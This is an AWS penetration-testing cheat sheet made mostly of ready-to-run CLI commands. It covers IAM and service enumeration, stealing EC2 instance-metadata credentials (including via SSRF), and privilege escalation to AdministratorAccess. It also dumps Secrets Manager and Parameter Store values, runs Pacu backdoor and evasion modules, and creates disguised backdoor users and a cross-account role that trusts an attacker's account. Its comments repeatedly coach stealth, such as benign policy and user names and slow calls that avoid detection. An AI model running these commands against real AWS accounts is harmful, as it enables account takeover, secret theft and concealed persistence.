Cloud Pentesting (AWS)#
Initial Access & Reconnaissance#
Console Access:
- IAM Login:
https://console.aws.amazon.com/
- IAM Identity Center (SSO):
https://[your-subdomain].awsapps.com/start
or custom domain - Root User Login:
https://[account-id].signin.aws.amazon.com/console
(avoid in production)
Programmatic Access (CLI):
# Configure AWS CLI v2 profile
aws configure --profile <profile-name>
# Required inputs:
# AWS Access Key ID: AKIA...
# AWS Secret Access Key: [Your Secret]
# Default region: us-east-1 (or target region)
# Output format: json (recommended for parsing)
# Verify configuration and enumerate identity
aws sts get-caller-identity --profile <profile-name>
# Returns: UserId, Account, Arn
# OPSEC: Use --no-sign-request for anonymous S3 access to avoid logging
aws s3 ls s3://public-bucket --no-sign-request
# Configure SSO profile (modern approach)
aws configure sso
# Follow prompts for SSO URL, region, and role selection
Credential Storage & Security:
- Windows:
%USERPROFILE%\.aws\
- Linux/macOS:
~/.aws/
- Files:
credentials
- Long-term access keys (encrypt at rest)config
- Profiles, regions, SSO sessionssso/cache/
- Temporary SSO tokens (short-lived)
OPSEC Considerations:
- Prefer SSO/temporary credentials over long-term keys
- Use
aws-vault
or AWS credentials process for encrypted storage - Clear credentials after engagement:
aws configure --profile <profile> set aws_access_key_id ""
Core Enumeration Strategy#
Step 1: Identity & Context Verification#
# Determine current identity (CRITICAL first step)
aws sts get-caller-identity --profile <profile-name>
# Check for assumed role session
aws sts get-session-token --profile <profile-name>
# Enumerate accessible regions (some services are region-specific)
aws account list-regions --region us-east-1 --profile <profile-name>
# Identify organization membership
aws organizations describe-organization --profile <profile-name> 2>/dev/null
# OPSEC: Low-noise commands - these generate minimal CloudTrail events
Step 2: Permission Enumeration (Stealthy Approach)#
# Modern approach: Use IAM Policy Simulator (less noisy than brute force)
aws iam simulate-principal-policy \
--policy-source-arn <your-arn> \
--action-names s3:ListBucket ec2:DescribeInstances \
--profile <profile-name>
# Enumerate attached policies (if you have iam:ListAttachedUserPolicies)
aws iam list-attached-user-policies --user-name <user> --profile <profile-name>
# Check inline policies
aws iam list-user-policies --user-name <user> --profile <profile-name>
# OPSEC: Test one permission at a time to avoid bulk enumeration alerts
# Example: Check critical permissions individually
for action in "iam:PassRole" "iam:AttachUserPolicy" "ec2:RunInstances"; do
aws iam simulate-principal-policy \
--policy-source-arn <your-arn> \
--action-names "$action" \
--profile <profile-name> 2>/dev/null
sleep 2 # Rate limiting
done
Step 3: IAM Deep Dive#
Users:
# List users (requires iam:ListUsers)
aws iam list-users --profile <profile-name>
# Get specific user with tags
aws iam get-user --user-name <user> --profile <profile-name>
# List user's access keys (check for inactive keys)
aws iam list-access-keys --user-name <user> --profile <profile-name>
# Enumerate MFA devices
aws iam list-mfa-devices --user-name <user> --profile <profile-name>
# Check password policy
aws iam get-account-password-policy --profile <profile-name>
# OPSEC: Enumerate your own user first to establish baseline behavior
Groups:
# List all groups
aws iam list-groups --profile <profile-name>
# Get group with members
aws iam get-group --group-name <group> --max-items 100 --profile <profile-name>
# List group policies
aws iam list-attached-group-policies --group-name <group> --profile <profile-name>
Roles (Critical for privilege escalation):
# List roles (look for overly permissive trust policies)
aws iam list-roles --profile <profile-name>
# Get role trust policy and permissions boundary
aws iam get-role --role-name <role> --profile <profile-name>
# Check for cross-account trust relationships
aws iam get-role --role-name <role> --profile <profile-name> \
| jq '.Role.AssumeRolePolicyDocument.Statement[] | select(.Principal.AWS)'
# List instance profiles (EC2 role attachments)
aws iam list-instance-profiles --profile <profile-name>
# OPSEC: Focus on roles with "Admin", "Power", or "Elevated" in names
Policy Analysis:
# List managed policies with scope filter
aws iam list-policies --scope Local --profile <profile-name> # Customer-managed only
# Get policy version (default version)
aws iam get-policy --policy-arn <arn> --profile <profile-name>
aws iam get-policy-version \
--policy-arn <arn> \
--version-id $(aws iam get-policy --policy-arn <arn> --query 'Policy.DefaultVersionId' --output text) \
--profile <profile-name>
# Use IAM Access Analyzer for policy validation (if available)
aws accessanalyzer list-analyzers --profile <profile-name>
# Check for overly permissive policies
aws iam get-policy-version --policy-arn <arn> --version-id v1 --profile <profile-name> \
| jq '.PolicyVersion.Document.Statement[] | select(.Effect=="Allow" and .Resource=="*")'
EC2 Instance Metadata Service (IMDS) Exploitation#
IMDSv2 (Token-Based - Now Default on New Instances):#
# Modern approach: IMDSv2 requires session token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
--connect-timeout 2 --max-time 5)
# Verify token retrieval
echo $TOKEN
# List available metadata categories
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/
# Get instance identity document (includes account ID, region)
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/dynamic/instance-identity/document
# Enumerate available IAM roles
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Retrieve role credentials
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Get user-data (may contain secrets)
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/user-data
IMDSv1 (Legacy - Still Works if Not Disabled):#
# Check if IMDSv1 is enabled (simpler, no token needed)
curl http://169.254.169.254/latest/meta-data/ --connect-timeout 2
# If successful, enumerate directly
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
SSRF Exploitation for IMDSv2#
# For SSRF scenarios where you control headers
# Example vulnerable endpoint: https://target.com/fetch?url=
# Method 1: Two-request chain (if you can make multiple requests)
# Request 1: Get token (requires PUT method support)
PUT /fetch?url=http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# Request 2: Use token in subsequent request
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Header: X-aws-ec2-metadata-token: [TOKEN_FROM_STEP_1]
# Method 2: If PUT is blocked, look for IMDSv1 fallback
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# OPSEC: IMDSv2 access is logged in CloudTrail under EC2 APIs
Configure Retrieved Credentials:#
# Method 1: Manual configuration
aws configure set aws_access_key_id <AccessKeyId> --profile ec2-role
aws configure set aws_secret_access_key <SecretAccessKey> --profile ec2-role
aws configure set aws_session_token <Token> --profile ec2-role
aws configure set region <region> --profile ec2-role
# Method 2: Environment variables (preferred for temporary use)
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
export AWS_DEFAULT_REGION="us-east-1"
# Validate credentials
aws sts get-caller-identity --profile ec2-role
# Check credential expiration
aws sts get-session-token --profile ec2-role 2>&1 | grep -i expir
# OPSEC: Temporary credentials expire (typically 6-12 hours)
# Monitor expiration and refresh as needed
AWS Service Enumeration#
Service Enumeration#
EC2 (Compute Instances):#
# List all instances with detailed output
aws ec2 describe-instances --profile <profile-name>
# Filter running instances only
aws ec2 describe-instances \
--filters "Name=instance-state-name,Values=running" \
--profile <profile-name>
# Get instances with public IPs (potential entry points)
aws ec2 describe-instances \
--query 'Reservations[].Instances[?PublicIpAddress!=`null`].[InstanceId,PublicIpAddress,PrivateIpAddress,Tags[?Key==`Name`].Value|[0]]' \
--output table --profile <profile-name>
# List security groups (firewall rules)
aws ec2 describe-security-groups --profile <profile-name>
# Find overly permissive security groups (0.0.0.0/0 access)
aws ec2 describe-security-groups \
--query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName]' \
--output table --profile <profile-name>
# List SSH key pairs
aws ec2 describe-key-pairs --profile <profile-name>
# Enumerate AMIs owned by account
aws ec2 describe-images --owners self --profile <profile-name>
# Check for public AMIs (misconfiguration)
aws ec2 describe-images --owners self \
--query 'Images[?Public==`true`].[ImageId,Name,Public]' \
--profile <profile-name>
# List snapshots (may contain sensitive data)
aws ec2 describe-snapshots --owner-ids self --profile <profile-name>
# Find public snapshots (critical misconfiguration)
aws ec2 describe-snapshots --owner-ids self \
--query 'Snapshots[?Public==`true`].[SnapshotId,VolumeSize,Public]' \
--profile <profile-name>
# OPSEC: Enumerate one region at a time to avoid bulk API calls
# Use --region flag or loop through regions slowly
for region in us-east-1 us-west-2 eu-west-1; do
aws ec2 describe-instances --region $region --profile <profile-name> --max-items 10
sleep 3
done
S3 (Object Storage):#
# List all accessible buckets
aws s3 ls --profile <profile-name>
# List bucket contents recursively
aws s3 ls s3://<bucket-name> --recursive --profile <profile-name>
# Get bucket location (region)
aws s3api get-bucket-location --bucket <bucket-name> --profile <profile-name>
# Check bucket ACL (access control list)
aws s3api get-bucket-acl --bucket <bucket-name> --profile <profile-name>
# Get bucket policy
aws s3api get-bucket-policy --bucket <bucket-name> --profile <profile-name>
# Check public access block configuration
aws s3api get-public-access-block --bucket <bucket-name> --profile <profile-name>
# List bucket versioning status
aws s3api get-bucket-versioning --bucket <bucket-name> --profile <profile-name>
# Check encryption configuration
aws s3api get-bucket-encryption --bucket <bucket-name> --profile <profile-name>
# Test anonymous access (OPSEC: doesn't require credentials)
aws s3 ls s3://<bucket-name> --no-sign-request
# Download interesting files
aws s3 cp s3://<bucket-name>/<key> . --profile <profile-name>
# Search for credentials in bucket
aws s3 ls s3://<bucket-name> --recursive --profile <profile-name> | grep -E '(\.key|\.pem|credentials|config|\.env|secret)'
# OPSEC: S3 access is heavily logged; use --no-sign-request when possible
# Avoid listing entire large buckets - target specific prefixes
RDS (Managed Databases):#
# List RDS instances
aws rds describe-db-instances --profile <profile-name>
# Get publicly accessible databases (high-value targets)
aws rds describe-db-instances \
--query 'DBInstances[?PubliclyAccessible==`true`].[DBInstanceIdentifier,Endpoint.Address,Engine]' \
--output table --profile <profile-name>
# List database snapshots
aws rds describe-db-snapshots --profile <profile-name>
# Check for public snapshots (critical misconfiguration)
aws rds describe-db-snapshots \
--query 'DBSnapshots[?Public==`true`].[DBSnapshotIdentifier,DBInstanceIdentifier]' \
--profile <profile-name>
# Get snapshot attributes (shared with other accounts?)
aws rds describe-db-snapshot-attributes \
--db-snapshot-identifier <snapshot-id> --profile <profile-name>
# List database subnet groups (network configuration)
aws rds describe-db-subnet-groups --profile <profile-name>
# OPSEC: Focus on publicly accessible instances first
Lambda (Serverless Functions):#
# List all Lambda functions
aws lambda list-functions --profile <profile-name>
# Get function configuration (includes environment variables)
aws lambda get-function --function-name <function-name> --profile <profile-name>
# Extract environment variables (may contain secrets)
aws lambda get-function-configuration --function-name <function-name> \
--query 'Environment.Variables' --profile <profile-name>
# Get function policy (resource-based policy)
aws lambda get-policy --function-name <function-name> --profile <profile-name>
# Download function code
aws lambda get-function --function-name <function-name> \
--query 'Code.Location' --output text --profile <profile-name> | xargs curl -o function.zip
# List layers (may contain shared code/secrets)
aws lambda list-layers --profile <profile-name>
# Check for public functions (invoke permissions)
aws lambda get-policy --function-name <function-name> --profile <profile-name> \
| jq '.Policy | fromjson | .Statement[] | select(.Principal=="*")'
# OPSEC: Lambda function code may contain hardcoded credentials
Secrets Manager & Parameter Store:#
# List secrets in Secrets Manager
aws secretsmanager list-secrets --profile <profile-name>
# Get secret value
aws secretsmanager get-secret-value --secret-id <secret-name> --profile <profile-name>
# List SSM parameters (often overlooked)
aws ssm describe-parameters --profile <profile-name>
# Get parameter value (including SecureString if you have kms:Decrypt)
aws ssm get-parameter --name <parameter-name> --with-decryption --profile <profile-name>
# Batch retrieve parameters
aws ssm get-parameters --names <param1> <param2> --with-decryption --profile <profile-name>
# Search for common secret patterns
aws ssm describe-parameters --profile <profile-name> | grep -iE "(password|secret|key|token|api)"
# OPSEC: High-value targets; access is logged but secrets may not rotate
IAM Access Analyzer (Identify External Access):#
# List analyzers
aws accessanalyzer list-analyzers --profile <profile-name>
# Get findings (identifies resources accessible from outside the account)
aws accessanalyzer list-findings --analyzer-arn <analyzer-arn> --profile <profile-name>
# Filter active findings
aws accessanalyzer list-findings --analyzer-arn <analyzer-arn> \
--filter '{"status":{"eq":["ACTIVE"]}}' --profile <profile-name>
# OPSEC: This shows what defenders see as risky configurations
CloudFormation & Infrastructure as Code:#
# List CloudFormation stacks
aws cloudformation list-stacks --profile <profile-name>
# Get stack resources (reveals infrastructure layout)
aws cloudformation describe-stack-resources --stack-name <stack> --profile <profile-name>
# Get stack template (may contain secrets)
aws cloudformation get-template --stack-name <stack> --profile <profile-name>
# List stack outputs (often contains endpoints/credentials)
aws cloudformation describe-stacks --stack-name <stack> \
--query 'Stacks[0].Outputs' --profile <profile-name>
# OPSEC: Templates may expose architecture and security controls
ECS/EKS (Container Services):#
# List ECS clusters
aws ecs list-clusters --profile <profile-name>
# List services in cluster
aws ecs list-services --cluster <cluster-name> --profile <profile-name>
# Get task definitions (may contain secrets)
aws ecs list-task-definitions --profile <profile-name>
aws ecs describe-task-definition --task-definition <task-def> --profile <profile-name>
# List EKS clusters
aws eks list-clusters --profile <profile-name>
# Get cluster details
aws eks describe-cluster --name <cluster-name> --profile <profile-name>
# Get kubeconfig for EKS access
aws eks update-kubeconfig --name <cluster-name> --profile <profile-name>
# OPSEC: Container environments often have overprivileged service accounts
Privilege Escalation Techniques#
1. IAM Policy Attachment/Modification:#
# Scenario: You have iam:AttachUserPolicy or iam:AttachRolePolicy
# Attach AdministratorAccess to your user/role
aws iam attach-user-policy \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--user-name <current-user> --profile <profile-name>
# Or attach to role
aws iam attach-role-policy \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--role-name <current-role> --profile <profile-name>
# Verify escalation
aws iam list-attached-user-policies --user-name <user> --profile <profile-name>
# OPSEC: Highly logged action; use PowerUserAccess instead for stealth
# PowerUserAccess lacks IAM modification rights but gives broad access
aws iam attach-user-policy \
--policy-arn arn:aws:iam::aws:policy/PowerUserAccess \
--user-name <current-user> --profile <profile-name>
2. Inline Policy Creation (Less Visible):#
# Scenario: You have iam:PutUserPolicy or iam:PutRolePolicy
# Create inline policy with elevated permissions
cat > admin-policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}
EOF
# Attach inline policy (less obvious than managed policy attachment)
aws iam put-user-policy \
--user-name <current-user> \
--policy-name SystemMaintenance \
--policy-document file://admin-policy.json \
--profile <profile-name>
# OPSEC: Use benign names like "SystemMaintenance" or "BackupPolicy"
3. Policy Version Manipulation:#
# Scenario: You have iam:CreatePolicyVersion
# Modify existing customer-managed policy
# Get current policy document
aws iam get-policy-version \
--policy-arn <policy-arn> \
--version-id v1 \
--query 'PolicyVersion.Document' \
--profile <profile-name> > current-policy.json
# Modify policy to add permissions (edit current-policy.json)
# Add: "Action": "*", "Resource": "*"
# Create new version and set as default
aws iam create-policy-version \
--policy-arn <policy-arn> \
--policy-document file://current-policy.json \
--set-as-default \
--profile <profile-name>
# OPSEC: Original policy remains; can revert by changing default version
4. AssumeRole Privilege Escalation:#
# Scenario: You have sts:AssumeRole and found a role with weak trust policy
# Check if you can assume the role
aws sts assume-role \
--role-arn <target-role-arn> \
--role-session-name RedTeamSession \
--profile <profile-name>
# Extract credentials from output
# {
# "Credentials": {
# "AccessKeyId": "ASIA...",
# "SecretAccessKey": "...",
# "SessionToken": "...",
# "Expiration": "..."
# }
# }
# Configure assumed role
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# Or create new profile
aws configure set aws_access_key_id <AccessKeyId> --profile assumed-role
aws configure set aws_secret_access_key <SecretAccessKey> --profile assumed-role
aws configure set aws_session_token <SessionToken> --profile assumed-role
# Verify new permissions
aws sts get-caller-identity --profile assumed-role
# OPSEC: Role assumption is logged in CloudTrail with session name
# Use generic session names: "AWSCLISession", "ConsoleSession"
5. PassRole + Service Abuse (Lambda, EC2, etc.):#
# Scenario: You have iam:PassRole + lambda:CreateFunction
# Create Lambda with privileged role
# Create function code that retrieves credentials
cat > lambda_function.py << 'EOF'
import json
import boto3
def lambda_handler(event, context):
sts = boto3.client('sts')
identity = sts.get_caller_identity()
return {
'statusCode': 200,
'body': json.dumps(identity)
}
EOF
zip function.zip lambda_function.py
# Create Lambda with privileged role
aws lambda create-function \
--function-name PrivilegeCheck \
--runtime python3.11 \
--role <privileged-role-arn> \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip \
--profile <profile-name>
# Invoke function
aws lambda invoke --function-name PrivilegeCheck output.json --profile <profile-name>
cat output.json
# OPSEC: Lambda inherits role permissions; can perform actions on your behalf
6. EC2 Instance Profile Modification:#
# Scenario: You have ec2:AssociateIamInstanceProfile + iam:PassRole
# Attach privileged role to existing EC2 instance
# Create instance profile if needed
aws iam create-instance-profile --instance-profile-name PrivilegedProfile --profile <profile-name>
# Add role to instance profile
aws iam add-role-to-instance-profile \
--instance-profile-name PrivilegedProfile \
--role-name <privileged-role> \
--profile <profile-name>
# Associate with instance
aws ec2 associate-iam-instance-profile \
--instance-id <instance-id> \
--iam-instance-profile Name=PrivilegedProfile \
--profile <profile-name>
# Access instance and retrieve credentials via IMDS
# (SSH into instance or use SSM Session Manager)
# OPSEC: Requires instance restart in some cases; coordinate timing
7. Secrets Manager Permission Escalation:#
# Scenario: You have secretsmanager:GetSecretValue but limited IAM permissions
# Search for high-privilege credentials stored in Secrets Manager
# List all secrets
aws secretsmanager list-secrets --profile <profile-name>
# Look for admin/root credentials
aws secretsmanager list-secrets \
--query 'SecretList[?contains(Name,`admin`) || contains(Name,`root`) || contains(Name,`master`)].[Name,ARN]' \
--profile <profile-name>
# Retrieve secret value
aws secretsmanager get-secret-value \
--secret-id <secret-name> \
--profile <profile-name> | jq -r '.SecretString'
# Use retrieved credentials
# Often contains database admin passwords, API keys, or AWS credentials
# OPSEC: Secret access is logged but secrets rarely rotate
8. SSM Parameter Store Escalation:#
# Scenario: You have ssm:GetParameter with kms:Decrypt
# Search for credentials in Parameter Store
# List all parameters
aws ssm describe-parameters --profile <profile-name>
# Get sensitive parameters
aws ssm get-parameters-by-path \
--path "/" \
--recursive \
--with-decryption \
--profile <profile-name>
# Target specific patterns
for param in $(aws ssm describe-parameters --query 'Parameters[].Name' --output text --profile <profile-name>); do
echo "Checking: $param"
aws ssm get-parameter --name "$param" --with-decryption --profile <profile-name> 2>/dev/null | jq -r '.Parameter.Value'
sleep 1
done
# OPSEC: Parameters may contain third-party API keys, DB passwords, AWS credentials
9. CloudFormation Privilege Escalation:#
# Scenario: You have cloudformation:CreateStack + iam:PassRole
# Deploy stack that creates privileged resources
cat > escalation-stack.yaml << 'EOF'
AWSTemplateFormatVersion: '2010-09-09'
Resources:
AdminUser:
Type: AWS::IAM::User
Properties:
UserName: backup-admin
ManagedPolicyArns:
- arn:aws:iam::aws:policy/AdministratorAccess
AccessKey:
Type: AWS::IAM::AccessKey
Properties:
UserName: !Ref AdminUser
Outputs:
AccessKeyId:
Value: !Ref AccessKey
SecretAccessKey:
Value: !GetAtt AccessKey.SecretAccessKey
EOF
# Deploy stack
aws cloudformation create-stack \
--stack-name maintenance-stack \
--template-body file://escalation-stack.yaml \
--capabilities CAPABILITY_NAMED_IAM \
--profile <profile-name>
# Wait for completion
aws cloudformation wait stack-create-complete \
--stack-name maintenance-stack \
--profile <profile-name>
# Get outputs (credentials)
aws cloudformation describe-stacks \
--stack-name maintenance-stack \
--query 'Stacks[0].Outputs' \
--profile <profile-name>
# OPSEC: Use benign stack names; outputs expose credentials
10. STS Token Duration Extension:#
# Scenario: You have temporary credentials expiring soon
# Extend session duration if possible
# For assumed roles, assume again with longer duration
aws sts assume-role \
--role-arn <role-arn> \
--role-session-name ExtendedSession \
--duration-seconds 43200 \
--profile <profile-name> # 12 hours (max depends on role config)
# For federated users, check max session duration
aws iam get-role --role-name <role> --query 'Role.MaxSessionDuration' --profile <profile-name>
# OPSEC: Longer sessions = longer access without re-authentication
AWS - Automated Tools & Persistence#
Automated Reconnaissance Tools#
Pacu (AWS Exploitation Framework):#
# Installation (updated for Python 3.9+)
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
pip3 install -r requirements.txt
python3 pacu.py
# Alternative: Docker installation (cleaner, isolated)
docker pull rhinosecuritylabs/pacu
docker run -it rhinosecuritylabs/pacu
# Initialize session
Pacu (pacu) > new_session <session-name>
Pacu (<session-name>) > set_keys
# Enter credentials or use existing AWS profile
# Import AWS CLI profile
Pacu (<session-name>) > import_keys <profile-name>
# Verify identity
Pacu (<session-name>) > whoami
# Set target regions (reduces noise and API calls)
Pacu (<session-name>) > set_regions us-east-1,us-west-2,eu-west-1
# CORE ENUMERATION MODULES:
# 1. Permission enumeration (essential first step)
Pacu (<session-name>) > run iam__enum_permissions
# Maps your current permissions without generating excessive logs
# 2. Comprehensive IAM enumeration
Pacu (<session-name>) > run iam__enum_users_roles_policies_groups
# Returns: all users, roles, groups, policies in account
# 3. Privilege escalation detection
Pacu (<session-name>) > run iam__privesc_scan
# Identifies 20+ privilege escalation methods
# Output: Escalation paths ranked by difficulty
# 4. Service-specific enumeration
Pacu (<session-name>) > run ec2__enum
Pacu (<session-name>) > run lambda__enum
Pacu (<session-name>) > run rds__enum
Pacu (<session-name>) > run s3__enum
# 5. Secrets hunting
Pacu (<session-name>) > run systemsmanager__download_parameters
# Downloads all SSM parameters (with decryption)
Pacu (<session-name>) > run secretsmanager__secrets_dump
# Extracts all Secrets Manager secrets
# 6. Credential harvesting
Pacu (<session-name>) > run iam__enum_users_roles_policies_groups --access-keys
# Finds users with access keys
Pacu (<session-name>) > run ec2__download_userdata
# Downloads EC2 user-data scripts (often contain credentials)
# 7. Lateral movement prep
Pacu (<session-name>) > run iam__backdoor_assume_role
# Creates backdoor roles for persistence
Pacu (<session-name>) > run iam__backdoor_users_keys
# Creates backdoor users with access keys
# 8. Detection testing
Pacu (<session-name>) > run detection__disruption
# Tests GuardDuty/SecurityHub detection capabilities
# ADVANCED WORKFLOWS:
# Automated privilege escalation
Pacu (<session-name>) > run iam__privesc_scan
# Review output, then exploit specific method:
Pacu (<session-name>) > run iam__privesc_scan --exploit-method PassRole
# Full reconnaissance sweep (generates significant logs)
Pacu (<session-name>) > run guardduty__list_accounts
Pacu (<session-name>) > run organizations__enum
Pacu (<session-name>) > run cloudtrail__download_event_history
# Data exfiltration modules
Pacu (<session-name>) > run s3__download_bucket --bucket-name <bucket>
Pacu (<session-name>) > run rds__explore_snapshots
# OPSEC CONSIDERATIONS:
# - Use 'data' command to review collected data without additional API calls
# - Run 'services' to see which AWS services you've interacted with
# - Use '--regions' flag to limit scope
# - Enable GuardDuty evasion: run cloudtrail__csv_injection (experimental)
# View collected data
Pacu (<session-name>) > data
Pacu (<session-name>) > data EC2 # View specific service data
# Export session data
Pacu (<session-name>) > export_keys <profile-name>
Prowler (AWS Security Assessment):#
# Installation (v3.x - rewritten in Python, more features)
pip3 install prowler
# Or use Docker
docker pull prowler/prowler
# Basic scan with default checks (500+ checks)
prowler aws
# Use specific profile
prowler aws --profile <profile-name>
# Scan specific regions only (OPSEC: reduces API calls)
prowler aws --profile <profile-name> --region us-east-1 us-west-2
# Filter by service
prowler aws --profile <profile-name> --services iam ec2 s3
# Compliance frameworks (updated for 2024)
prowler aws --compliance cis_2.0_aws # CIS AWS Foundations Benchmark v2.0
prowler aws --compliance aws_well_architected # AWS Well-Architected
prowler aws --compliance pci_3.2.1_aws # PCI DSS
prowler aws --compliance gdpr_aws # GDPR
prowler aws --compliance hipaa_aws # HIPAA
prowler aws --compliance nist_800_53_r5 # NIST 800-53 Rev 5
# Severity filtering (focus on critical issues)
prowler aws --severity critical high
# Output formats
prowler aws --output-formats json html csv
prowler aws --output-formats json --output-directory ./reports/
# Specific check execution
prowler aws --checks iam_user_mfa_enabled_console_access
prowler aws --checks s3_bucket_public_access
# Exclude specific checks (reduce noise)
prowler aws --excluded-checks iam_password_policy_*
# Multi-account scanning (AWS Organizations)
prowler aws --organizations-role ProwlerRole
# Quiet mode (less output, faster)
prowler aws --quiet
# OPSEC: Key checks that reveal security posture:
prowler aws --checks iam_root_mfa_enabled
prowler aws --checks cloudtrail_logs_s3_bucket_is_not_publicly_accessible
prowler aws --checks guardduty_is_enabled
prowler aws --checks securityhub_enabled
# Red team focused checks:
prowler aws --services iam --severity critical
prowler aws --checks s3_bucket_public_write_acl
prowler aws --checks rds_instance_publicly_accessible
prowler aws --checks ec2_instance_public_ip
# Generate executive summary
prowler aws --output-formats html json --output-directory ./executive-report/
CloudFox (Attack Path Analysis):#
# Download latest release
wget https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-linux-amd64
chmod +x cloudfox-linux-amd64
mv cloudfox-linux-amd64 /usr/local/bin/cloudfox
# Or install via Go
go install github.com/BishopFox/cloudfox@latest
# Basic usage with profile
cloudfox aws --profile <profile-name> all-checks
# Individual modules (focused enumeration):
# 1. Identity and access
cloudfox aws --profile <profile-name> principals
# Output: All principals (users, roles, groups) with privilege analysis
cloudfox aws --profile <profile-name> permissions
# Output: Permission mapping for current identity
cloudfox aws --profile <profile-name> role-trusts
# Output: Role trust relationships (identifies AssumeRole opportunities)
# 2. Compute resources
cloudfox aws --profile <profile-name> instances
# Output: EC2 instances with admin roles, public IPs, and attack surface
cloudfox aws --profile <profile-name> elastic-network-interfaces
# Output: ENIs with public IPs (potential entry points)
# 3. Data stores
cloudfox aws --profile <profile-name> buckets
# Output: S3 buckets with public access and sensitive data indicators
cloudfox aws --profile <profile-name> filesystems
# Output: EFS filesystems with access analysis
# 4. Secrets and credentials
cloudfox aws --profile <profile-name> secrets
# Output: Secrets Manager and Parameter Store secrets
cloudfox aws --profile <profile-name> env-vars
# Output: Environment variables from Lambda, ECS, etc.
# 5. Network analysis
cloudfox aws --profile <profile-name> endpoints
# Output: API Gateway, Load Balancers, public endpoints
cloudfox aws --profile <profile-name> route53
# Output: DNS records pointing to resources
# 6. Serverless
cloudfox aws --profile <profile-name> lambda
# Output: Lambda functions with roles and resource access
# 7. Organizations (multi-account)
cloudfox aws --profile <profile-name> orgs
# Output: AWS Organization structure
cloudfox aws --profile <profile-name> inventory
# Output: Cross-account resource inventory
# ATTACK PATH ANALYSIS:
# Generate attack graph (visual representation)
cloudfox aws --profile <profile-name> graph
# Creates graphviz diagram of attack paths
# Output directory structure
cloudfox aws --profile <profile-name> all-checks --output ./cloudfox-output/
# Multi-region analysis
cloudfox aws --profile <profile-name> --region us-east-1,us-west-2,eu-west-1 all-checks
# Filter by resource type
cloudfox aws --profile <profile-name> instances --filter-name "*prod*"
# OPSEC ADVANTAGES:
# - Read-only operations (no modifications)
# - Generates Markdown reports (easy to review offline)
# - Identifies privilege escalation paths automatically
# - Maps trust relationships across accounts
ScoutSuite (Multi-Cloud Security Auditing):#
# Installation
pip install scoutsuite
# AWS scan
scout aws --profile <profile-name>
# Scan specific services only
scout aws --profile <profile-name> --services iam s3 ec2
# No browser (headless mode)
scout aws --profile <profile-name> --no-browser
# Custom ruleset
scout aws --profile <profile-name> --ruleset custom-rules.json
# Multi-region
scout aws --profile <profile-name> --regions us-east-1 us-west-2
# Output directory
scout aws --profile <profile-name> --report-dir ./scoutsuite-report/
# OPSEC: Generates comprehensive HTML report with findings categorized by severity
WeirdAAL (AWS Attack Library):#
# Installation
git clone https://github.com/carnal0wnage/weirdAAL.git
cd weirdAAL
pip3 install -r requirements.txt
# Setup
python3 weirdAAL.py -l # List modules
# Recon modules
python3 weirdAAL.py -m recon_all -t <profile-name>
python3 weirdAAL.py -m list_buckets -t <profile-name>
python3 weirdAAL.py -m enum_lateral -t <profile-name>
# Exploitation modules
python3 weirdAAL.py -m create_user -t <profile-name>
python3 weirdAAL.py -m privesc_scan -t <profile-name>
# OPSEC: Older tool, may trigger more alerts; use for testing detection
CloudMapper (AWS Visualization):#
# Installation
git clone https://github.com/duo-labs/cloudmapper.git
cd cloudmapper
pip3 install -r requirements.txt
# Configure
python3 cloudmapper.py configure add-account --config-file config.json \
--name <account-name> --id <account-id> --default true
# Collect data
python3 cloudmapper.py collect --account <account-name> --profile <profile-name>
# Generate network diagram
python3 cloudmapper.py prepare --account <account-name>
python3 cloudmapper.py webserver
# OPSEC: Creates visual network maps; useful for understanding architecture
Persistence Mechanisms#
1. IAM User Backdoor (Classic but Effective):#
# Create inconspicuous user
aws iam create-user --user-name aws-support-engineer --profile <profile-name>
# Generate access keys
aws iam create-access-key --user-name aws-support-engineer --profile <profile-name>
# Save output: AccessKeyId and SecretAccessKey
# Attach policy (PowerUserAccess is less obvious than AdministratorAccess)
aws iam attach-user-policy \
--user-name aws-support-engineer \
--policy-arn arn:aws:iam::aws:policy/PowerUserAccess \
--profile <profile-name>
# Add tags to make user look legitimate
aws iam tag-user \
--user-name aws-support-engineer \
--tags Key=Department,Value=IT Key=Purpose,Value=Automation \
--profile <profile-name>
# OPSEC: Use service account naming conventions
# Good names: "aws-backup-service", "cloudwatch-integration", "terraform-deployer"
# Avoid: "backdoor", "admin", "hacker"
2. IAM Role Backdoor with Cross-Account Trust:#
# Create role with trust policy allowing external account (your attacker account)
cat > trust-policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your-attacker-account-id>:root"
},
"Action": "sts:AssumeRole",
"Condition": {}
}]
}
EOF
# Create role
aws iam create-role \
--role-name CloudInfrastructureRole \
--assume-role-policy-document file://trust-policy.json \
--description "Infrastructure automation role" \
--profile <profile-name>
# Attach permissions
aws iam attach-role-policy \
--role-name CloudInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/PowerUserAccess \
--profile <profile-name>
